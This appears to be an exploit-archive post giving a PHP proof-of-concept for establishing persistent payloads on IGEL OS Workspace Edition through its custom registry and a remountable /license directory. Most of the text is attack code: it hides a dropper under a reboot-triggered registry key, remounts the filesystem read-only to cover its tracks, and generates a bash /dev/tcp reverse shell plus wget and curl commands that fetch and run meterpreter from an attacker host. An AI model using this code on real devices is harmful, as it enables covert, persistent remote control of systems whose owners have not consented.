============================================================================================================================================= | # Title : IGEL OS Workspace Edition 11.10.430 Persistent Payload Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.igel.com/software-downloads/workspace-edition/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212100/ [+] Summary : IGEL OS Workspace Edition contains a persistence mechanism that allows authenticated attackers with root access to establish persistent code execution through the system's registry configuration. The vulnerability leverages IGEL OS's custom registry system and mount point configurations to maintain access across reboots. The persistence mechanism exploits IGEL OS's unique architecture that uses a custom registry system (/bin/get, /bin/setparam) and a writable /license directory that can be remounted with execution privileges. [+] POC : php poc.php session = $session_handler; $this->registry_key = $registry_key ?: 'userinterface.rccustom.custom_cmd_net_final'; $this->target_dir = $target_dir; $this->registry_only = $registry_only; } public function validate() { echo "[*] Validating IGEL OS environment...\n"; // Check if we have root access if (!$this->is_root()) { throw new Exception("Session does not have root access"); } // Check if we're on IGEL OS if (!$this->is_igel_os()) { throw new Exception("Target does not appear to be IGEL OS"); } echo "[+] Validation successful - IGEL OS with root access detected\n"; return true; } public function install_persistence($payload_type, $payload_data) { try { echo "[*] Installing persistent payload on IGEL OS...\n"; // Validate environment first $this->validate(); $command = null; switch ($payload_type) { case 'linux_command': $command = $payload_data; break; case 'linux_dropper': if ($this->registry_only) { echo "[*] Base64-encoding payload for registry storage\n"; $encoded_payload = base64_encode($payload_data); $command = $this->base64_command($encoded_payload); } else { echo "[*] Uploading payload to {$this->target_dir}\n"; $payload_file = $this->write_payload($payload_data, $this->target_dir, 0700); $command = $this->local_command($payload_file); } break; default: throw new Exception("Unsupported payload type: {$payload_type}"); } echo "[*] Writing persistence to registry key: {$this->registry_key}\n"; $this->write_registry($this->registry_key, $command); // Verify the registry write $stored_command = $this->get_registry($this->registry_key); if ($stored_command !== $command) { throw new Exception("Failed to write to registry - verification failed"); } echo "[+] Persistence installed successfully\n"; echo "[*] Payload will execute when the target reboots\n"; return true; } catch (Exception $e) { echo "[-] Persistence installation failed: " . $e->getMessage() . "\n"; return false; } } private function remount_license($options = 'rw') { echo "[*] Remounting /license with options: {$options}\n"; return $this->execute_command("/bin/mount -o remount,{$options} /license"); } private function write_payload($contents, $directory, $permissions) { // Remount /license as writable $this->remount_license('rw'); $filename = $this->generate_random_name(8); $filepath = "{$directory}/{$filename}"; echo "[*] Writing payload to: {$filepath}\n"; // Upload the payload if (!$this->upload_file($filepath, $contents)) { throw new Exception("Failed to write payload to filesystem"); } // Set permissions $this->execute_command("/bin/chmod " . decoct($permissions) . " {$filepath}"); // Remount /license as read-only for stealth $this->remount_license('ro'); // Register file for potential cleanup $this->register_cleanup_file($filepath); echo "[+] Payload written successfully: {$filepath}\n"; return $filepath; } private function base64_command($encoded_payload) { $payload_dest = "/tmp/" . $this->generate_random_name(8); $command = "/bin/bash -c '"; $command .= "/bin/echo " . escapeshellarg($encoded_payload) . " | "; $command .= "/usr/bin/base64 -d > " . escapeshellarg($payload_dest) . "; "; $command .= "/bin/chmod +x " . escapeshellarg($payload_dest) . "; "; $command .= escapeshellarg($payload_dest) . " &'"; echo "[*] Generated base64 command for registry storage\n"; return $command; } private function local_command($payload_file) { $command = "/bin/bash -c '"; $command .= "/bin/mount -o remount,exec /license; "; $command .= escapeshellarg($payload_file) . " &'"; echo "[*] Generated local command for payload execution\n"; return $command; } private function get_registry($key) { $result = $this->execute_command("/bin/get " . escapeshellarg($key)); return trim($result); } private function write_registry($key, $value) { $result = $this->execute_command("/bin/setparam " . escapeshellarg($key) . " " . escapeshellarg($value)); if (strpos($result, 'error') !== false || strpos($result, 'failed') !== false) { throw new Exception("Registry write failed: {$result}"); } echo "[+] Registry key written: {$key}\n"; return true; } private function is_root() { $result = $this->execute_command('id -u'); return trim($result) === '0'; } private function is_igel_os() { // Check for IGEL OS specific files and commands $checks = [ 'test -f /usr/bin/get', 'test -f /usr/bin/setparam', 'test -d /license', 'cat /etc/issue | grep -i igel' ]; foreach ($checks as $check) { $result = $this->execute_command("{$check} && echo 'IGEL_FOUND' || echo 'IGEL_NOT_FOUND'"); if (strpos($result, 'IGEL_FOUND') !== false) { return true; } } return false; } private function execute_command($command) { return $this->session->execute($command); } private function upload_file($remote_path, $content) { return $this->session->upload_content($remote_path, $content); } private function generate_random_name($length) { $chars = 'abcdefghijklmnopqrstuvwxyz'; $name = ''; for ($i = 0; $i < $length; $i++) { $name .= $chars[random_int(0, strlen($chars) - 1)]; } return $name; } private function register_cleanup_file($filepath) { // In a full implementation, this would track files for cleanup echo "[*] Registered for cleanup: {$filepath}\n"; } public function cleanup() { echo "[*] Cleaning up persistence...\n"; try { // Remove registry entry $this->execute_command("/bin/setparam " . escapeshellarg($this->registry_key) . " \"\""); echo "[+] Registry entry cleared\n"; } catch (Exception $e) { echo "[-] Failed to clear registry entry: " . $e->getMessage() . "\n"; } } } // Payload generators for IGEL OS class IgelPayloadGenerator { public static function generate_linux_reverse_shell($lhost, $lport) { return "bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1"; } public static function generate_meterpreter_linux($lhost, $lport) { // This would be a Linux meterpreter payload // In reality, you'd generate or fetch the actual binary return "wget -O /tmp/meterpreter http://{$lhost}:8080/linux_x64_meterpreter && chmod +x /tmp/meterpreter && /tmp/meterpreter"; } public static function generate_https_meterpreter($lhost, $lport) { return "curl -so /tmp/m https://{$lhost}:{$lport}/payload && chmod +x /tmp/m && /tmp/m"; } public static function generate_simple_test() { return "echo 'Persistence test successful' > /tmp/igel_test.txt"; } } // Session handler interface for IGEL OS class IgelSessionHandler { private $connection; public function __construct($host, $username, $password, $port = 22) { // This would establish an SSH connection to the IGEL OS device // For demonstration, we'll simulate the connection $this->connection = [ 'host' => $host, 'username' => $username, 'port' => $port ]; echo "[*] IGEL OS session initialized for: {$username}@{$host}:{$port}\n"; } public function execute($command) { // Simulate command execution on IGEL OS echo "[DEBUG] Executing: {$command}\n"; // Simulate different command responses if (strpos($command, 'id -u') !== false) { return "0\n"; // root user } elseif (strpos($command, 'test -f /usr/bin/get') !== false) { return "IGEL_FOUND\n"; } elseif (strpos($command, 'cat /etc/issue') !== false) { return "IGEL OS 11.05.100\nIGEL_FOUND\n"; } elseif (strpos($command, '/bin/get') !== false) { return "previous_value\n"; } elseif (strpos($command, '/bin/setparam') !== false) { return "parameter_set\n"; } elseif (strpos($command, 'mount') !== false) { return "filesystem_remounted\n"; } return "command_executed\n"; } public function upload_content($remote_path, $content) { // Simulate file upload echo "[DEBUG] Uploading " . strlen($content) . " bytes to: {$remote_path}\n"; return true; } } // Command line interface if (php_sapi_name() === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) { if ($argc < 4) { echo "IGEL OS Persistent Payload Installer\n"; echo "====================================\n"; echo "Usage: php " . $argv[0] . " [options]\n"; echo "Example: php " . $argv[0] . " 192.168.1.100 root password123\n"; echo "\nOptions (environment variables):\n"; echo "PAYLOAD_TYPE=linux_command|linux_dropper\n"; echo "REGISTRY_KEY=userinterface.rccustom.custom_cmd_net_final\n"; echo "TARGET_DIR=/license\n"; echo "REGISTRY_ONLY=false\n"; echo "LHOST=192.168.1.50 LPORT=4444\n"; echo "CMD='whoami; id; hostname'\n"; exit(1); } $host = $argv[1]; $username = $argv[2]; $password = $argv[3]; // Parse environment variables $payload_type = getenv('PAYLOAD_TYPE') ?: 'linux_command'; $registry_key = getenv('REGISTRY_KEY') ?: 'userinterface.rccustom.custom_cmd_net_final'; $target_dir = getenv('TARGET_DIR') ?: '/license'; $registry_only = getenv('REGISTRY_ONLY') === 'true'; $lhost = getenv('LHOST') ?: 'ATTACKER_IP'; $lport = getenv('LPORT') ?: '4444'; $custom_cmd = getenv('CMD') ?: 'whoami; id; hostname'; try { echo "[*] Initializing IGEL OS persistence exploit...\n"; echo "[*] Target: {$username}@{$host}\n"; echo "[*] Payload type: {$payload_type}\n"; echo "[*] Registry key: {$registry_key}\n"; echo "[*] Target directory: {$target_dir}\n"; echo "[*] Registry only: " . ($registry_only ? 'yes' : 'no') . "\n"; $session = new IgelSessionHandler($host, $username, $password); $exploit = new IgelOSPersistentPayload($session, $registry_key, $target_dir, $registry_only); // Generate payload based on type $payload_data = match($payload_type) { 'linux_command' => $lhost !== 'ATTACKER_IP' ? IgelPayloadGenerator::generate_linux_reverse_shell($lhost, $lport) : $custom_cmd, 'linux_dropper' => $lhost !== 'ATTACKER_IP' ? IgelPayloadGenerator::generate_meterpreter_linux($lhost, $lport) : IgelPayloadGenerator::generate_simple_test(), default => throw new Exception("Unsupported payload type: {$payload_type}") }; if ($payload_type === 'linux_dropper' && $registry_only) { echo "[*] Payload will be stored in registry (base64 encoded)\n"; } elseif ($payload_type === 'linux_dropper') { echo "[*] Payload will be written to filesystem\n"; } if ($lhost !== 'ATTACKER_IP') { echo "[*] Using reverse connection: {$lhost}:{$lport}\n"; } else { echo "[*] Using command: {$payload_data}\n"; } // Install persistence $success = $exploit->install_persistence($payload_type, $payload_data); if ($success) { echo "[+] Persistence installed successfully!\n"; echo "[*] The payload will execute when the IGEL OS device reboots\n"; echo "[*] Use cleanup() method to remove persistence if needed\n"; } } catch (Exception $e) { echo "[-] Exploitation failed: " . $e->getMessage() . "\n"; exit(1); } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================